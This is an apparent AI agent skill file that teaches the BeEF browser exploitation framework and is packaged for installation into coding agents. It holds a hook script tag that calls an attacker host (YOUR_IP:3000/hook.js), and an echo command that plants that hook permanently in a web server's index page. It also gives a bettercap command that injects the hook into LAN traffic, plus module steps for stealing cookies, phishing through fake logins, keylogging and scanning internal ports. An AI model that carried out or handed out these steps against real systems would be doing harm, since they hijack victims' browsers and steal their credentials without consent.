offensive-tools/exploits/beef/SKILL.md
Auth/lab ref: Browser Exploitation Framework - hook browsers via XSS/injected JS and perform client-side testing.
npx skillsauth add aeondave/malskill beefInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Hook browsers via XSS and execute client-side attacks from a web console.
# Kali
beef-xss
# Or from source
git clone https://github.com/beefproject/beef
cd beef && ./install && ./beef
# Panel: http://127.0.0.1:3000/ui/panel
# Default creds: beef/beef
# Hook URL: http://YOUR_IP:3000/hook.js
<!-- Inject in XSS payload or MITM response -->
<script src="http://YOUR_IP:3000/hook.js"></script>
| Category | Examples | |----------|---------| | Network | Port scanner, ping sweep, SSRF | | Browser | Fingerprint, clipboard steal, camera access | | Social Engineering | Fake login, fake update, clickjacking | | Exploits | Browser CVEs, Java exploits | | Persistence | Persistent hook via service worker | | Misc | Keylogger, screenshot, geolocation |
Steal cookies via hooked browser:
Modules > Browser > Hooked Domain > Get Cookie
Phishing via fake login overlay:
Modules > Social Engineering > Pretty Theft
Port scan internal network from browser:
Modules > Network > Port Scanner
# Set targets: 192.168.1.1-254
// Service Worker persistence (browser-based)
// Modules > Persistence > Create Foreground iFrame
// Modules > Persistence > Man-In-The-Browser
# Embed in page permanently (if you have file write)
echo '<script src="http://YOUR_IP:3000/hook.js"></script>' >> /var/www/html/index.html
config.yaml)beef:
credentials:
user: "beef"
passwd: "changeme" # Change default
http:
host: "0.0.0.0"
port: "3000"
https:
enable: true
port: "3001"
# Inject via Responder + MITM (if on LAN)
# Inject via stored XSS
# Inject via MITM with bettercap
bettercap -eval "set http.proxy.injectjs http://YOUR_IP:3000/hook.js; http.proxy on"
| File | When to load |
|------|--------------|
| references/modules.md | Full module list by category, hook persistence techniques |
development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.